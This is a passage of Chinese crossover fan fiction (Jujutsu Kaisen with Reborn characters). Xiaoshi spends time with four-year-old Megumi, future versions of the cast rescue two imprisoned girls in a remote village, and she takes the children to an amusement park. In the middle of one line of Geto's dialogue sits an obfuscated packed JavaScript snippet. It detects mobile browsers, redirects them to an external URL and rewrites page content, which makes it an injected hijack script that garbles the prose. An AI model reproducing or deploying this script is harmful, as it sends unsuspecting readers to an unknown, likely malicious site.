如果他不识好歹提出这种要求她绝对会直接分手的。 “可是玉犬会把家里弄得很乱。” “它们可是很聪明的,你可以教它们不要乱动。”坏了,第一次畅想婚后生活是和4岁小朋友,对方的重点还是在家居打理。 总之是很容易造成不快的话题。 最后,小小年纪的伏黑惠好像下定了什么决心,他说:“那我以后把饭做得很好吃,然后每天收拾就可以了吧?” 傻孩子,你做不到很好吃。 尝过几次料理成品的小莳不忍心打消他的积极性,再说孩子能有这种觉悟已经很棒了,怜爱地摸摸他的头说好的。 他的注意力果然就转移到下一项议题,孩子总能找到自己的世界,伏黑惠也不孤独,他问起死去的那只白犬。小莳宽慰他使用得当的话这次可能能陪伴他更长,而且他咒力掌握很早,又有了更多的研习时间。多学习,把实力不济的家伙都抛在身后,就可以保住小动物的平安。 “你以后还回来看它吗?”伏黑惠问的是被小莳起名大白而且响应热情的白色玉犬。 “大概不会了。做咒灵很有趣,下次不想做咒灵了。”还是在属于自己的世界里安安分分做个人类最好。 他看起来就局促又不安,磨蹭了一会,问道:“那我就不能见到你了,是不是?” 她捏了捏小伏黑惠的嫩滑脸蛋,“也许你会见到和你年龄相仿的、这个世界的我。我向你保证,无论哪个时空中的我都是一样的高质量,也许对现实条件而言有些过高了。就像每一个世界里的你,都一样讨人喜欢。” 只不过他们的相遇,应该还要到10年之长。 伏黑惠不说话了。 “离别也是人生课题,我早晚会回到自己的世界去的。事实上,婚姻在法律上是财产的连结,但又不少的女性和男性是为了拖延离别的期限才踏入婚姻,因为你可以看到一穷二白的人也在结婚。可到了最后,在等待的也还有死亡,只不过你还小,不需要思考这些。我们大约还会再见的,等你成为咒术师,你可能就能见到差不多像我这么大的另一个我了。” “那我做了咒术师就能看见你吗?” “可不敢保证这些。”小莳又站起来摸他的头,“你这小孩想法也有点刁钻的。” 伏黑惠仰起头:“那你会和你男朋友结婚吗?结婚只要两个人都同意就行了。” “才在一起不到半年呢,现在男女最低的结婚年龄也是18,差远了。” “那你们未来会结婚吗?” 这孩子是有点倔脾气的。 “不知道,不分手的话应该就会结婚了。”她在人际交往问题上不经常畅想未来,因为决定权有不少也在别人身上,单说可能存在的分手的理由她都能列出一二三四五六七条。 伏黑惠没得到期待的答案,听清了她的糊弄,也知道问不出什么承诺,低头不说话。 小莳又带他吃了幻术制造的下午茶:“吃了就和没吃一样,不过小孩子肠胃脆弱,你还是适可而止。”用不着她说,伏黑惠对甜食的不偏好原来真的是天生,他吃了两口就没兴趣。她就带他去厨房烧热茶喝。 最后在庭院里晒了会太阳,小莳拿着一本书翻了翻,算来时间也快到傍晚,孩子得和家人出去吃晚餐,她就把他送了出去。 “你晚上吃什么?” “现在是不用吃饭的体质,不过有家酒店后厨的卫生和味道都很好,今天他们的大锅汤是罗宋汤。” “……你是去偷东西吗?” “我有祓除下水道和垃圾桶的咒灵的,还帮主厨摆脱了肩颈酸痛!”怎么说都是有所回报的廉价劳动! 小莳在当晚还得到一个好消息,她接到了五条悟的电话……是29岁的五条悟。“好消息,我们来接你回家了!” 坏消息,来的一行人,除了白兰,都变成了咒灵。 既然白兰在这里,还是10年后的白兰,她回家有望:“他是有什么不为人知的作弊技巧吗?对了,你和小朋友们相处的怎么样,不是枷场那两个,我说的是高专的。” 那边传来了抗议的声音,吵吵闹闹的。最后五条悟还算清楚的得以语调传入她的耳朵,说他们不太乖,和小莳比差远了。 “不过你7、8岁时候可难搞了。”这句话被她忽略,这人胡说。 “我当然是最省心的,还帮你解决了一个大问题,剩下的就交给你了……不说了,小惠回家了,你记得嘱托未来的人民教师多多关照我们家惠惠,886,我忙着陪玉犬玩。” 110. 第 110 章 成熟的大人五条悟盯着手里的老翻盖手机:“她挂了,说要陪玉犬玩。小惠,你该有点危机感,不过你爸爸看起来更危险,毕竟【她可是把人从茈下面救回来了】。话说你小时候确实很--有一种故作成熟耍酷的萌感。”实际上一摸头发就变包子脸了。 “谢谢你,我们都能听见免提。”手机真正的主人咬牙夺过自己的东西,“你这家伙讲半天都说不清重点,什么叫差远了!” “不是,悟,你说的也不是重点吧。”全场最有良心的高专学生夏油杰,有点苦恼地看地上倒下的一片人,揉眉心:“动静太大,引来了太多村民,我们本来该请小莳过来给全村的人实施幻术的。” 不愧是只和小莳相处了不足48小时的单纯少年,夏油杰这句话引得有几人都转过去看她。他有些奇怪:“怎么了?” 这种偏远的地方在小莳的地图里绝对不存在。 “……”成年的夏油杰摸了摸耳朵,他以前,可能想法是比较简单。嘛,也许是因为小莳太关照年轻的自己了,让他有了对方其实勤劳又实干的错误印象。 “……她不会来的。”伏黑惠召唤不知井底,它们长长的舌头卷过村民,将昏迷的众人捆到一块,老师故意制造焦虑的话没引起任何恐慌,至少他没放在心上,“这里看起来有点偏。早点结束然后去找她吧。” 伏黑甚尔一左一右抱着刚从木笼里解救的两个小孩,他什么都没做,但两个女孩最不排斥他身上的气息。高专的夏油杰敏锐地意识到另一个自己似乎对这一现状很不满,老实说,他本人更多的是庆幸,不是和年长的女性有一段注定不欢而散的恋情实在是太好了,而且咒术师……在这片偏远贫瘠的土地上竟然会遭到这种对待。 令人痛心。 孩子们开心就好。只不过他有点不习惯伏黑甚尔那张脸,伏黑惠也是。之前自称白兰的男人笑眯眯将这一系列概括为同气相求,危难中的小兽总会被有相似气息的同类吸引。 而现在……伏黑甚尔因为说了一句:“我猜就算谁把这村里的人类豆沙了,小莳也不会来。”荣升全场大家认为说话最不合时宜的人。 * 平行世界来的未来小莳与这个18岁版本有一点最大的差异,她很爱走山访水,具体指的是那些有怪奇秘闻的山野和罕有人至的怪谈乡间,她说这是因为她是神秘学爱好者。 白兰从平行世界回来,并且得知这里的小莳已经失踪已久时,进行了两天必要的休整后又来并盛,在这时已经错过了出门远行的江口小莳。 她也不想见他,毫无疑问。 他又一次见到了在意大利的那个男人,伏黑甚尔,一点外语不会但是顺利抵达异国他乡的乡村别墅还真是令他也刮目相看,听说对方成功又撬到了前女友这个墙角,他对三个人的爱情可一点也不指望,爱情本身也令他无聊。 结果一个尤尼,一个纲吉,一个小莳,现在全都有伴侣了。 小莳的正牌男友,伏黑惠,是个无趣的家伙,术式也是四平八稳的。不过安全型……如果她喜欢也很正常。 白兰在打听到关于十年后火箭炮的事情后,去了一趟那个世界,得知年纪小小的小莳正是因为他认识的那位突发奇想请那边的白兰做了一些事情才回去。 “那18岁的小莳现在在?” “不知道,不过这类时空的相位差偶尔会出现小小的意外。”18岁的白兰耸了耸肩,他笑起来很坏,眼神的锋芒和其下的皇冠样紫色引印记交辉相映:“不过她看起来在哪里都会过的不错。” “……”没心没肺的人说话就是硬气。 28岁的白兰不一样,他已经改良成功,算是个好人。他回到并盛,很遗憾的告知关心小莳的人--人数不少,他要亲自前往可能关联的世界排查,直到找到她。 白兰回来的时候,并盛过了四五天,而他已经在时空流中度过了难以计数的时间。平行世界的旅行并不劳累,但一个世界的知识则会让他头脑发晕。 “她好像去了你们那的十几年前……总之有种看同人文的奇妙感觉。”白兰以讲八卦的语气和传闻中咒术界的最强说笑,“她的人偶身被当成天内理子一枪崩了,噗,伏黑甚尔。” “感觉他们又快分手了。” 五条悟精准的领悟到事情的重点--有关小莳在盘星教门口顺便把奄奄一息的赏金猎人从死亡线上捞了回来这件事。经口才在特定领域尚佳的白毛男子之口,包括原本一无所知的当事人和他天选男友的儿子,最后都得知此事。 当事人伏黑甚尔对另一个世界的事件拒绝做出任何评价,不过他把自己家和隔壁家的地板都打扫的一尘不染--以往只是整体比较整洁。 成年已久的挚友组合喜闻乐见,但比这更重要的是……听说了小莳把另一个世界的他们打发去偏远小乡村的事情。 两人不免有此疑问:“改变既定过去,这是可以的吗?” 得到的答案是,关于平行世界的知识,意大利那边掌握更多。虽然玛雷指环已经被封印,但他仍然能够频繁穿梭平行世界,可以肯定的是,有千万个平行世界,每个也有千万种未来。 白兰很擅长科普:“想象一下生物学的进化图谱,也许去年刚融合的我们,在很久以前也只是源自分支的同一世界。” 小莳做了不少好事,这已经形成了共识。两个各有工作的成熟男性纷纷放下手中的事情,不约而同表明了要去异世界的决心。 于是最后此次出行的人员名单就此定下。白兰没什么所谓,18岁的他技艺不精,而他本人早就达到了更高水平,组个异世界旅游团也不成问题。 地点就锚定在小莳粘写清晰的经纬度上。 “听说那里关着你的两个女儿。自从术式显现后被关了一年多?小孩还真难杀。”白兰在很久以前给小莳读过哈利波特的故事,他联想到了楼梯橱柜里的小男孩。91年的英国遥遥领先2006年的东亚某国,嘛,毕竟是乡下。 “……”小莳的反社会言论不会是从这人身上学来的吧?难怪她给人感觉亦正亦邪。 早就听说白兰·杰索,夏油杰这会还要靠他去平行世界,他没说什么。 五条悟半摘下眼镜,视线在两人间转了一圈,站定在挚友身边,也保持沉默。更不用说本来就无话可说的伏黑父子。 “我以为小莳喜欢热闹,竟然能和你们做成朋友。”白兰意指这些人的奇怪氛围,“不过确实。” “曾经反目的朋友。” “仇人。” “标价10亿的仇人之子兼学生。” 他吁一口气:“进一间房都要自觉分散到四个角落的程度。” “……” “你们确定不进行些破冰活动再走?小莳一点也不着急,这会她应该在你小时候住的地方。”白兰的后半句话是对伏黑惠说。 “……”没人说话 他摇头,打破沉默:“那走吧。” 于是很快,容纳两个小孩的粗制滥造的木笼里又挤进了一个成年男子,外带四个形体逸散的……能量体。 有点吓到孩子了。 所有人中最正派的五条悟对两个小女孩介绍:“大哥哥我可不是坏人,快看,这是你们未来的爸!” 孩子哭了。 四个颇有能力的能量体很快掌握了无形之体的稳固方法,止住了逸散,一个个变得【至少是人类的样子】。最后两个女孩不理传说中的爸爸,一个个挨着到现在一言不发的伏黑甚尔。 夏油杰:“……” 嘴角有道伤疤的男人看起来面色竟然有一些柔和,从女孩口中断断续续的描述里,得知还有一阵,等到太阳下山后,会有她们的父亲来送饭。 哦,父亲这词看来是个雷点。 怪不得爸爸不讨喜,坏了,五条悟发现自己说错了话。 “放心,很快会有人救你们出去。”高专的他们应该在太阳下山之前就会抵达。 可两个女孩抱着现场最可靠的人的一左一右胳膊,不肯与他说话。 “……” 比起心痛更在意孩子伤势的夏油杰,回忆起很久以前自己还帮她们处理过一些伤口,源自火和敲击伤,他拜托之前还呛过几次的伏黑惠帮忙处理一下伤势。 他有圆鹿。 “笼子里装不下,先出去。”伏黑惠简要说明,咒灵也有形体,只不过难以被人类察觉,他正想说可以解开捆绑木头的绳结让它散架,就被轰隆一声打断了。 伏黑甚尔把一根碗口粗的木条掰断了,然后整个不大不小的囚笼直接散架。毕竟是粗制滥造的乡野产物。 ……倒是没人因此受伤,包括两个被吓倒的小女孩。 伏黑惠冷静指出:“你会惊扰到村民。”几乎是话音刚落,远处就传来警戒的声音,然后是零零散散到熙熙攘攘的响应,细细簌簌之后,又有踢踢踏踏的脚步声。村民说这两个女孩是妖邪的声音,里面的畏惧夹杂恶意,毫无保留地又传到在场的所有人耳里。 夏油杰闭了闭眼。 然而在他决定好要说什么,或者是采取什么样的举措前,第一个进来的人已经被绞杀在地,伏黑甚尔很熟练地卡住此人的颈动脉,直接阻止血液往脑部流动,造成了能持续一段时间的休克。 “接下来,要怎么办?”强壮的男人说这话的时候,胳膊肘已经卡住了第二人,扑通倒地的回音犹在众人耳边。 白兰很轻松点破了他如此殷勤的动机:“他想做点好人好事,害怕被分手。” 然而他不太会给人留面子,所以接着就戳穿:“不过如果不在交往关系内,很难界定为分手,就只能说是被,【甩了】,对吧?” “噗。”笑出声的是五条悟,他还点头。 总之在高专的两位同学姗姗来迟的时候,基本上一个村的壮年人都在一栋小屋里折戟。一路上大门紧闭,无人接引,年轻的五条悟还是跟着强大的咒力依托六眼找到这个门外躺了一地人的破旧屋子。 即使在条件水平整体较低的这个村庄里,也能看得出来,这是最简陋的一间。 但里头至少有两个特级。 在他进去之前,他就看到了探出头来的他自己,对方穿着高专教师的服装,和他一样戴墨镜。 更年长的疑似教师的五条悟看了他们一眼,然后转过头去对屋子里的谁说话:“好怀念,是刘海最奇怪时期的杰。” 应该是夏油杰。 很快,扎着武士头的夏油杰也走到了门边,与门十几米外的人打了个照面。“还真是,挺……怀念。” 少年高专组于是发现,对面几个人并不好奇他们出现在这里。 屋子里的白发教师一副熟悉的样子招呼着他们:“快进来快进来,碍事的家伙已经被打趴下了。你们是跟着小莳的念写过来的吧,哎,真是为难那孩子了,她以前确实和我说过这辈子都不想用到这个。” 于是他们进去以后,传说中的小女孩竟然骑在式神的鹿身上,以及前几天才相见不愉快的男人,这一发现将本来不明晰的氛围推向了更凛冽的地方。 “稍等,介绍一下,这是我的高徒小惠还有他没用的父亲。没错,他的术式是传说中的十影,就是禅院祖传的那个。也是小莳的男朋友。” 被提及的伏黑惠抬了一下眼,看了一眼表情奇怪的两个人……如果是五条老师更年轻的时候,不值得惊讶,他现在也这样,夏油杰,不熟。他转回头去看圆鹿,抚摸它的头。 “好……好讨厌的小子。” “严格来说,我们小惠现在只比你小15天。”好老师五条,向着学生,不懂的有难了。 年轻的五条悟终于把注意力放在另一个世界的自己身上,他很不爽,现在好像一身的郁结总算有地方得以补偿:“你这家伙,我早就想质问你,你怎么会让杰--” 停顿了。有一些不方便公开讨论的话题就此打住。 两个知情者见产生了某种微妙的联结。一个,心虚而透露点哀伤,另一个不悦且后怕。后者从认识几天的人那里知道的噩耗再一次被验证,有些心梗。 不明情况的夏油杰不知道挚友和未来的自己怎么头一次见面就形成了某种默契,“没关系,不是悟的错。”和他声音一样,但发型完全不同的,好像是年长的自己一样的人熟稔拦住他的胳膊,回头和不明不白对峙上的两位打招呼:“现在一切都很好,你们聊,我和他出去走一趟。” 夏油杰知道,那人说的“他”,无疑是指自己。但那张和自己无甚差异的脸靠近时,他还是有些惊吓。又看了眼挚友,对方摘下墨镜对他点点头,他才和另一个自己离开。也许发生了什么事情可以时候再探听,悟在就不会错过。 夏油杰去田垄上绕了一圈,谈了谈任务,未来的自然灾害,还有两个孩子的事情,主要是更年长些的另一个他在说话。他身上有成熟人士独有的气质,无需金属架镜框烘托的可靠感,这人似乎可以随意挥霍别人交托的信任--如果这是可以被量化的财富。 可能这就是公司高管的气息。他问了一个无关问题:“你,是为什么不做咒术师了呢?” 对方露出一个足以取信疑心病患者的微笑,和他谈起了人生,又说到了大义,尽是些他爱思考的问题,最后露出一个带着挑战,还有一丝狡黠的表情对他说:“答案就在其中。” 夏油杰于是没再问,在这种情况下,试图讨要一个明确的答案对他来说无异于走捷径,同时也像是考试作弊。对方话语里暗含着“你本来该知道的”意思,再问就像是他向难解的谜题屈服了。 他打算在独处时自己思考,暂且放过不提,于是换了个问题:“悟未来怎么了吗?他做错了什么事情吗?”他问的是与自己这边和谐相处不同挚友那侧,他看起来对什么事情很有意见,那件事还与自己相关,而除此之外另一个世界的自己也知晓此事。 这下好了,只有他一个人孤零零的在外,被排除的感觉很新奇:“就算那是和我没关系的,只要和悟有关,我就应该帮助他。”更不用说这不是无关事项。 夏油杰想,可能是离开咒术界以后发生的事情。十几年,也和他现在的年龄差不多了,什么都可能发生。他忽略了对方转瞬即逝的郁郁不乐,等抬头,对方的目光又散发出与周身气场一致的和煦。 “啊,你还真是敏锐。”这份苦恼是打包好的情绪,只等年轻的不经事少年拆开包装。夏油杰更想知道答案,没给过多注意力到这层伪装,他盯着和自己一模一样的脸上的其他泄露信息。很遗憾,没有。 但很快他就没办法把注意力集中在对方的表情上了,因为夏油杰听见对方说:“有件事情是我在你这个年纪的时候没有意识到的。悟,很耀眼,更甚于我,再过两年,甚至说难以望其项背也不为过。在十几岁的时候这让我感到虚弱,也许还有想追赶的急迫。最后我意识到天赋是鸿沟,把我们隔绝住了,随之而来情绪过于沉重,让我错过了悟其实非常需要我的信息。我那个时候以为他一个人就好。” 总之,承认了自己懦弱的另一个他把事情最终概括为一场酣畅淋漓的逃避放逐行为,如果因此错过了很多挚友的行动也不稀奇。如果是这样的话,离开咒术界也有了理由。 “虽然是不同世界的人,可你我又如此相似,看到你的时候,我会忍不住想高专二年级的我是不是正是如此活力四射。我不知道你是否也和我一样渴望被需要,那是对以前的我最大的肯定和认同了。现在我希望美美子和菜菜子也能和小莳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413178|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样上个大学,毕竟咒术师可不是能干到老的职业。”他以一个玩笑话结尾,不过那也未必是玩笑,夏油杰记得,小莳好像有提过比她小一点的双胞胎有厌学情绪这件事。 因为不喜欢人类。她是这么说的。 事情到这里就大概得到了解答,对方没说什么期待什么遗憾,让夏油杰觉得一切都在控制内,人生,未必要规避未来的所有威胁,至少看起来在另一个世界里,大家都过得还不错,他认识的人都有差不多的幸福,有整整齐齐能被打理的生活。 未来的一切都很有意义。 不过另一边的两个悟相处不太好,加上他从没见过的另一个白发男子时不时的煽风点火,情绪化的含量在递增,逐渐变到“你是最强但我比你更强”一类的小打小闹。伏黑家的两位男士只在一开始过多吸引了注意,实际上在夏油杰和另一个自己回去以后,就没再怎么注意到在一边处理后勤的两人。 这屋子很快也散了,托传闻中十影的福,没有村民受到伤害,气血运行比较顺畅的,醒的比较早的,都又被回炉重造--重返昏迷。 然后,终于有人想到了电话,他们给小莳打了电话。在那之前,两个各有主意的最强--其实年纪更大些的更强,因为体术和咒力的强度还有作战的经验造成了一些高下--都觉得应该自己来联系身不在此的小莳。 更强的那个得到了属于16岁五条悟的手机,他打了那通电话,“小朋友”们被关心,虽然他们不觉得自己是小朋友,但……很明显就是。 做了最强好些年的五条悟还想和小莳点评一下另一个世界差不多得了的自己,体术不够,咒力控制不精准,经验浅薄的毛病,顺便友情建议小莳再在体能锻炼上加把劲,结果反被现在已经无所事事的小姑娘交付了任务,还挂了电话。 事件的主角,两个被关押的可怜小女孩,到最后才在废墟上吃上饼干和甜饮料。 白兰在一切的最后又重提问题:“那么怎么办?这些人?” 基本上半村人都在附近了,都是青壮年,大多是男人,不难想另外的女人小孩老人在各自紧闭的门扉里。看不见的鬼怪袭击了他们,见不到咒灵的人应该是这样定论。 夏油杰发现气氛因为这个男人的话又紧绷起来,这似乎不是什么很难回答的问题,就像以前遇到的不理解不配合工作的普通人一样:“把孩子带走,以后再也不回来就可以了。”普通人,毕竟是咒术师的保护对象,也不好对他们做什么。 他是发自内心觉得事情就到此为止了。 但五条悟,两个同名者都是,认为这样没办法起到任何效果。 “说不定他们以为是美美子和菜菜子施展邪恶的法术逃走了。” “至少要让这些家伙付出代价。” 而以往名为五条悟的个体不会在意这些。 如今么。似乎有点小小的变化。 高中生夏油杰尊重了挚友的意愿,他们为了一碟醋可谓是大费周章:关系是五条家提供的,处理事务的是总监部对接警视厅的部门。但最终,进行笔录又编造了好一通为什么在任务失败后要到偏僻小乡村里散心的理由的,是不爱参与事后扫尾的两个男高。 不喜欢文书工作和配合调查的高中生有难了。 因为五条悟是最强,大家都让着他,报告和笔录即便繁琐也大差不差也就作罢,可两名已经展现出术式的女孩……即使是未来的御三家家主也不能由他。 “你看,如果我们按照小莳说的,直接离开,就不用再费心处理美美子和菜菜子的问题。”她们可以直接被带走,就像听说的一样,被他抚养长大,不过这次他的挚友会和他一起。一起带孩子?这么一想又有点奇怪。冗长的流程和更多淹没人的繁文缛节让夏油杰也觉得够呛。他是个足耐心的学生,但不意味着愿意迎合迂腐。 平常更没耐心的白发挚友一反常态,他认为无论如何村里的几十户人家都要付出代价,还搬出了说是最讨厌的正论,羽翼未丰的掌握术式者,其实在格格不入的环境里更是弱者;况且这样做能让菜菜子和美美子有咒术界认同的、以后不会遇到障碍的合规身份,至少总监部会给安排在社会上不必被质疑的身份,而高专也会提供孩子日常所需的生活资金--以她们入学为代价,提前预支点抚养费,听说夜蛾老师要做校长了,这事情就拜托他。 愿意绕一个大圈子,就为了做一些正确的事情,夏油杰觉得这可不像五条悟,他那个有点霸道、十分自我的挚友好像一下变成了很善于为人着想的热心肠。 他问他为什么,五条悟对着车上的几个咒灵和另一个同行的“旅人白兰”看了一下,然后低头瞧地面,憋了半天,说一句:“如果要让别人得到正确的幸福,那犯错的人也要同样付出相应的代价。” 夏油杰有点对他刮目相看了,居然是五条悟能说出的话,他不免惊叹:“你以后说不定还真是个老师,听说你会带小莳的男朋友,哇。” 五条悟头上跳出青筋:“杰,今天我心情不好。” “嗯?” “所以别逼我揍你!” “那……回高专以后我就和夜蛾老师申请接触咒灵警报。另外,谁揍谁还不一定。” “确实不一定,但你绝对伤得更重,让硝子当裁判。结束就能救治你。” “……”夏油杰握拳,做出一个热身的动作。 寒气森森的六座警务车上,驾驶的辅警因为不开空调就如此凉爽的令人不安的温度早早离开了车,虽然那两个特殊部门的小哥一再承诺车上绝对没有遗留什么怪东西……但感觉是不会骗人的!他感觉得好,中排和后排,正两两坐着四个咒灵。 事情告一段落,成熟的大人五条悟懒散地趴在窗框上:“真是青春的气息,杰,你觉得谁会赢?” “我选我自己,毕竟他还有虹龙。”夏油杰想到小莳居然会在紧要关头说上那么一句,不愧是她,“而且你才学会反转术式没几天,他还有机会。” 五条悟听出了他话里暗含恭维一样的“以后夏油杰大概就没机会了”的意涵,在享受快乐的同时,也很认真地告诉挚友:“你知道,我其实很需要你的帮助。哪一个世界的我都一样。” 夏油杰微笑,并不回答他,这些事情,可以更默契地在两人间,他早已知晓,于是只说:“这样,美美子和菜菜子就也能有更好的未来,当然,那个我也是。我觉得以你的性格可能更适合带菜菜子,她比较活泼,术式也很新潮。” “都行,反正都是给小鬼当保姆,腻了。”他说这话的时候还回头看了眼伏黑惠,把人看得来气,一句话,又激怒了学生:“你知道小莳也说你有的时候会莫名其妙生气,对吧?改改。” “到底是谁的错啊!” “反正不是小莳的。和她在一起,出了问题肯定不是她的问题,毕竟是女孩子嘛。” 伏黑惠认为老师对无论是女孩子还是恋爱都有很深的误解,但对方一句“毕竟是女孩子”直接打消了他的反驳欲望:【女孩】在他眼中只是一个概念,他实际也不在乎,只是念叨一下。 如果小莳在的话,大概会评价为集敷衍和刻板印象为一体的自我意识过剩,然后她会决定让让他。 全场存在感最低,至今没说话的伏黑甚尔终于开口了,他和白兰搭话:“什么时候可以见到小莳?” 白兰真诚回答他:“她不一定想见你。我懂你,我以前也因为通过毁灭世界的方式间接影响了小莳的生活质量而被讨厌过很长一段时间。三五年吧,大概。她如果决定不喜欢谁,就会很坚决贯彻的,不过现在脾气好多了,你有生命危险的情况几乎可以忽略。成真了就当我没说。”他是一个谨慎的男人了现在,说话不忘打免责补丁。 “……” 111. 第 111 章 小莳得知白兰已经来了,就也明白自己在这个时代已经迎来倒计时,离别的钟声也快敲响。 “你有什么愿望吗?”她预计明天或者后天他们就回来了,这次不知道为什么连悟也过来了,而且他听上去……和以前的自己有点代沟。 不管,先和小惠再相处一天。 “……”伏黑惠从外面回来不早,现在已经是有点昏昏欲睡,听到这话他反应的仍然不慢,问她:“你是不是快要回去了?” 她也不瞒他,爽快承认:“是啊,我要回家过好日子了。未来的手机可是很好玩的,还可以在上面看其他用户发布的制作视频,经常能刷到有趣的内容。”时隔多日,真的想念了。 “我没什么愿望,但津美纪刚才说想去游乐园,她妈妈明天有工作,爸爸说没空。”伏黑惠抬头看小莳,把她脸上的表情看清,然后才接着说出请求:“你可不可以带我们去坐摩天轮?” 小莳才从星浆体的事件中休整了四五天,上次的幻术反噬带来的影响还没消退,这时候再表演个一天的实体化有些勉强。一般来说,她不喜欢勉强。 “好啊,明天你们妈妈出门以后我就登门拜访,如果伏黑甚尔不在你就帮我开门。” “那是津美纪的妈妈,不是妈妈。” 她有些稀奇,“他们结婚,你都随伏黑女士姓了,法理的角度上她都算是你的母亲。” 伏黑惠才4岁,他不懂法律也不懂社会常理,他只说:“我不能选爸爸,但我不想选她做我的妈妈。津美纪愿意,我不愿意。” 意思很清楚,他是个对父母有严格标准的小孩。也许没那么严格,但伏黑甚尔和他现在结婚的对象,显然都不能胜任父母职责。但伏黑津美纪愿意叫伏黑甚尔爸爸。 小莳对这个观点是赞同的,首先,她也没选泽田家光做爸爸;其次能让她叫父亲的赤司征臣,显然是因为血缘关系--她没得选。对方没做什么让她产生决裂心思的事情,她也就像伏黑惠一样当职称凑合凑合叫着,这不代表认为对方称职。 “理解你,我也不喜欢我爸爸。”小莳转而问:“对了,你知道家里钱放在什么地方吗?”出去玩可是要经济支撑的,不然门票都难买。 “……” 看起来他不清楚,怜爱了,他才4岁不懂也很正常。小莳摸摸伏黑惠毛茸茸又有点扎手的头:“放心,交给我,我偷酒店经理的钱也带你们去玩。” “……不要偷别人的钱。” “okok,拜拜。”真是有良心的好孩子,从小时候就开始凸显思考。一般这年纪的孩子就像路边的小猫和小狗,有点聪明劲,但不会在乎和他们一起玩的人的道德意识,主打一个对我好,大家开心就行。小莳忍不住开始想他生母到底是怎么样的好人,才能把伏黑惠的基因从甚尔那样的扭转到这个程度。 应该是很好很好的人。 再怎么说要靠一个伴侣来扭转,不然就恢复到堕落到游戏人生状态的家伙也太差劲了。真的很缺乏自我管理意识,小莳完全不相信伏黑甚尔传说中的“没空”。 第二天她挎着包敲门的时候,不仅没空的父亲在家,出去工作的母亲居然也在了,她精心打理过的眉毛皱在一起,问:“你找哪位?” 伏黑女士有着中长披肩的栗色头发,柔顺但卷翘。她有些漂亮,鼻子小而翘,形状饱满,看起来稳重不失活泼。但是现在她对精心打扮并突然造访的小莳有些敌意。 小莳完全理解,和这样的男人结婚难免疑神疑鬼,她就站在院子里,带着点迷糊说话:“请问伏黑惠小朋友住在这里吗?我是她小姨,受外公外婆的的要求,今天带他出去玩。您就是伏黑女士?日安,贸然打扰真是抱歉。” “……”她收起了一部分打量的眼光,剩下的还有突然被找上门的不快:“我看你也还是学生的年纪,但是直接找到别人家里是不礼貌的行为,这里是我家,请你不要再来了。” 小莳点头说好的好的,心里想的是这小房子的每一个窗户她都摸得明明白白了,不过确实,伏黑女士才是户主。 伏黑甚尔也从门框另一边露出脸,瞧瞧小姨,果然是她。一凑热闹就把自己也波及到,他被老婆数落了一顿,怎么还和前妻的家人有联系,以及随便把地址给出去了。 有一半是他应得的。 小莳看见他就皱眉,虽然不同世界的事情不尽相同,比如她的情人甚尔就必定不会遇到今天的事情,但小莳见到此人,就会想起甚尔在他自己人生的几年前,也就和这人差不多。 简单来说是一种瞧不上的心思混杂着“我一点也没明白自己是看上他哪”的审视。在伏黑甚尔不反驳不啃声只沉默听老婆数落并且最后上楼并在楼梯半道就把孩子接下来的时间里,小莳想出了答案:男人有大谈特谈誓要辩过对方的表达欲显然是她厌恶的特征,但与之相对的,只是用沉默掩盖虚无的内心,然后消极对待遇见的人和事,也是经不起注视的无聊品质。 17岁的她没意识到后者,而且伏黑甚尔偶尔露出的真实自我又让她觉得有趣,所以才吸引她。不过现在再来看…… 小莳低下头,和已经背好小书包还拉着津美纪袖口的伏黑惠问好:“惠,还记得我吗?你小时候我还抱过你呢!” “……”伏黑惠给了她一个不明所以的眼神。 “这孩子比较稳重,话也少,不过很乖。你跟着阿姨走,晚上回来。”伏黑女士真是个不坏的人,虽然对地址泄露这件事不快,但抱怨也不落到小莳和伏黑惠身上。“津美纪?你下来做什么,回房间里,过会让爸爸给你扎辫子。” “惠说我可以一起去,津美纪也想去游乐园!”女孩的发质也随了妈妈,很乖巧地垂在脸侧,整体长而直,只在末端有些卷翘。 “……你这孩子。”没待她母亲说更多,小莳就勇敢地承接了这项工作,直言带一个孩子也是带,两个也一样。 伏黑女士采纳了这个建议,她还去拿了钱塞给小莳,让三个人一起中午吃点好的,下午再去纪念品商店看看也无妨。小莳低头,手上被塞了1万,还细心附赠了些以防找不开的硬币。 她这会又想,这真是个好人啊,对孩子也还不错。 “本来想趁出国取消的机会再带孩子们几天的,可你怎么--算了,你总是这样,什么事也不会和我说。中午我要吃汉堡肉,如果有胡椒盐就更好了。”小莳一左一右牵着孩子们的手,转头听见的最后一句话就是这个。 她暗自点头,是的,伏黑甚尔可以用做一款有自我意识的点菜器,看来不止她这么觉得。可以肯定的是,他绝对不会特意去买胡椒盐,除非有现成的。 虽然已经大概知道是临时工作安排原因导致家里大人都在,小莳还是起了逗弄伏黑惠的心思,她低下头兴师问罪:“怎么回事,小惠?要不是我反应机灵就会被津美纪的妈妈打出去了。” 伏黑惠撇过脸不啃声。 小莳又转过头去自我介绍,不过活泼的小女孩已经用“我都知道哦”的神神秘秘表情像对暗号一样说:“惠和我说你们长大要结婚,是真的吗?”未来就是以后,女朋友就是要结婚的人,她说的没错嘛! “--我说的是,是--”可怜的伏黑惠,他说不出话了。 “就像妈妈和爸爸一样,对吧?” 那还是不要像比较好,重组家庭过日子本来就不容易,还组到一个这样的搭档,地狱模式。小莳自然地把话题转移到午餐吃什么上。 他们度过了一阵子算是快乐的时光,小莳略感疲惫,津美纪的脸颊是激动的红晕,伏黑惠只有耳朵泛着红。 半天过去,游乐场去了,摩天轮坐了,还和孩子们骑了旋转木马,津美纪喜欢的项目一个不落,伏黑惠没有喜欢的项目,只在有小孩打枪拿礼物牌的地方多投射了点目光。 广告牌上写了,适合11岁以上的孩子游玩。 津美纪拉拉她,央求能不能拿一个小礼品给自己的弟弟:“惠今天玩的都是我喜欢的,姐姐你帮帮他。” 伏黑津美纪,她没喊阿姨,高情商。 